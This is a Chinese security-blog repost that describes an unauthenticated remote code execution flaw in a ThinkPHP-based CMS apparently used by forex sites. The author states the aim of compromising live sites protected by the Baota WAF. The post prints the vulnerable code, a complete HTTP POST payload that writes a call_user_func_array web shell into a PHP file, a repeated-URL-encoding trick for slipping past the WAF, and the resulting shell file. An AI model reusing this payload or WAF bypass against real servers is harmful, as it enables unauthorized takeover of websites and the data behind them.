实战 | 某外汇常用CMS通用未授权RCE

admin 2022年12月7日00:59:12安全文章评论21 views5186字阅读17分17秒阅读模式

某妞子发给我的一个cms,有各种注入,但是网上大部分站点都是用宝塔搭建的,并且开了waf的功能,索性审一个rce直接日下。

程序是基于ThinkPHP3.1.3进行二次开发的,直接根据特征从Github找了个源代码下来审,注入就不说了,直接看RCE:

Admin/Lib/Action/typeAction.class.php

public function add_save(){        $data=pg('data');        M('classify_type')->data($data)->add();         $sql='        CREATE TABLE index_'.$data['table_name'].' (          '.$data['table_name'].'_id int(10) NOT NULL AUTO_INCREMENT,          type_id int(10) NOT NULL,          date int(10) NOT NULL,          title varchar(99) NOT NULL,          keywords varchar(99) NOT NULL,          description varchar(10) NOT NULL,          version_id int(10) NOT NULL,          PRIMARY KEY ('.$data['table_name'].'_id)        ) ENGINE=InnoDB DEFAULT CHARSET=utf8;';        M()->query($sql);         if(!file_exists('Index/Lib/Action/'.$data['table_name'].'Action.class.php'))        {            copy('Index/Lib/Action/messageAction.class.php','Index/Lib/Action/'.$data['table_name'].'Action.class.php');            $content=read_file('Index/Lib/Action/'.$data['table_name'].'Action.class.php');            $content=str_replace('messageAction',$data['table_name'].'Action',$content);            write_file('Index/Lib/Action/'.$data['table_name'].'Action.class.php',$content);            copy_dir('Index/Tpl/message','Index/Tpl/'.$data['table_name']);        }         echo '操作成功';    }

直接从参数获取data数组,没有任何检验/过滤/认证,后面用了write_file函数,跟进去看看

ThinkPHP/Common/common.php

function write_file($path,$data){    creat_file($path);    $fp=fopen($path,"w+");    if(!fwrite($fp,$data))    {        return false;    }    else    {        fclose($fp);        return true;    }}

很简单的一个函数,根据参数直接写文件,再回头看看刚才的代码:

write_file('Index/Lib/Action/'.$data['table_name'].'Action.class.php',$content);

文件名是php格式,如果$content可控,那就直接RCE了,$content内容是复制Index/Lib/Action/messageAction.class.php的,然后根据指定参数进行替换,先看下代码:

Index/Lib/Action/messageAction.class.php

<?phpclass messageAction extends Action {    public function index(){        $this->display();    }     public function details(){        $this->display();    }    public function add_save(){        $data = pg('data');        $type_id = $data['type_id'];        $classify_id = pg('classify_id');        $table_name = M('classify_type')->where(array('type_id' => $type_id))->getField('table_name');        $content = M($table_name)->where(array($table_name.'_id' => $content_id))->select();        $list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 4))->select();        foreach($list as $k => $v){            $data[$v['field_name']]=serialize($data[$v['field_name']]);        }         $list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 7))->select();        foreach($list as $k => $v){            if(!empty($_FILES[$v['field_name']]['tmp_name'])){                $data[$v['field_name']] = $this->up_file(array('name' => $v['field_name']));            }        }         $list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 8))->select();        foreach($list as $k => $v)        {            $data[$v['field_name']]=strtotime($data[$v['field_name']]);        }         $id = M($table_name)->data($data)->add();        M('relevance')->data(array('classify_id'=> $classify_id, 'content_id' => $id, 'main_id' => 1, 'type_id' => $type_id))->add();        $this->success('提交成功');    }}

也就是第二行的messageAction会替换成参数指定的,但是文件名同时也会被修改,所以很多Payload在这边是没办法使用的,然后还有一个宝塔WAF要绕过,直接给Payload:

POST /admin.php?m=type&a=add_save HTTP/1.1Host: www.xxx.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0Accept: */*Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8Content-Length: 205Connection: closePragma: no-cacheCache-Control: no-cache data%5Bdate%5D=1606456937&data%5Btype_name%5D=123&data%5Btable_name%5D=abc{}call_user_func_array($_REQUEST[a],array($_REQUEST[b][0],urldecode(urldecode($_REQUEST[b][1])))); class &data%5Bpage_name%5D=index

大部分的函数在流量就被拦截了,但是他忽略了urlencode,只需要多弄几个urlencode就可以绕过流量了。

实战 | 某外汇常用CMS通用未授权RCE

最后建立的文件长这样:

http://www.xxx.com/Index/Lib/Action/abc{}call_user_func_array($_REQUEST[a],array($_REQUEST[b][0],urldecode(urldecode($_REQUEST[b][1])))); class Action.class.php
<?phpclass abc{}call_user_func_array($_REQUEST[a],array($_REQUEST[b][0],urldecode(urldecode($_REQUEST[b][1])))); class Action extends Action {    public function index(){        $this->display();    }     public function details(){        $this->display();    }    public function add_save(){        $data = pg('data');        $type_id = $data['type_id'];        $classify_id = pg('classify_id');        $table_name = M('classify_type')->where(array('type_id' => $type_id))->getField('table_name');        $content = M($table_name)->where(array($table_name.'_id' => $content_id))->select();        $list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 4))->select();        foreach($list as $k => $v){            $data[$v['field_name']]=serialize($data[$v['field_name']]);        }         $list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 7))->select();        foreach($list as $k => $v){            if(!empty($_FILES[$v['field_name']]['tmp_name'])){                $data[$v['field_name']] = $this->up_file(array('name' => $v['field_name']));            }        }         $list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 8))->select();        foreach($list as $k => $v)        {            $data[$v['field_name']]=strtotime($data[$v['field_name']]);        }         $id = M($table_name)->data($data)->add();        M('relevance')->data(array('classify_id'=> $classify_id, 'content_id' => $id, 'main_id' => 1, 'type_id' => $type_id))->add();        $this->success('提交成功');    }}
作者:hzllaga来源:https://wtfsec.org/posts/%e6%9f%90%e5%a4%96%e6%b1%87%e5%b8%b8%e7%94%a8cms%e9%80%9a%e7%94%a8%e6%9c%aa%e6%8e%88%e6%9d%83rce/如有侵权,请联系删除

实战 | 某外汇常用CMS通用未授权RCE


推荐阅读


实战 | 记一次渗透拿下某儿童色情网站的经过


实战 | 某某街一处XSS的绕过思路


实战 | 记一次企业钓鱼演练


2022年,从现在开始学安全还不迟!


干货 | 2022年超全的安全知识库


实战 | 实战一次完整的BC网站渗透测试


星球部分精华内容推荐


实战 | 某外汇常用CMS通用未授权RCE


实战 | 某外汇常用CMS通用未授权RCE


实战 | 某外汇常用CMS通用未授权RCE

其他更多精彩内容,欢迎加入我们的星球

实战 | 某外汇常用CMS通用未授权RCE

原文始发于微信公众号(HACK学习君):实战 | 某外汇常用CMS通用未授权RCE

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月7日00:59:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  实战 | 某外汇常用CMS通用未授权RCE http://cn-sec.com/archives/1448207.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: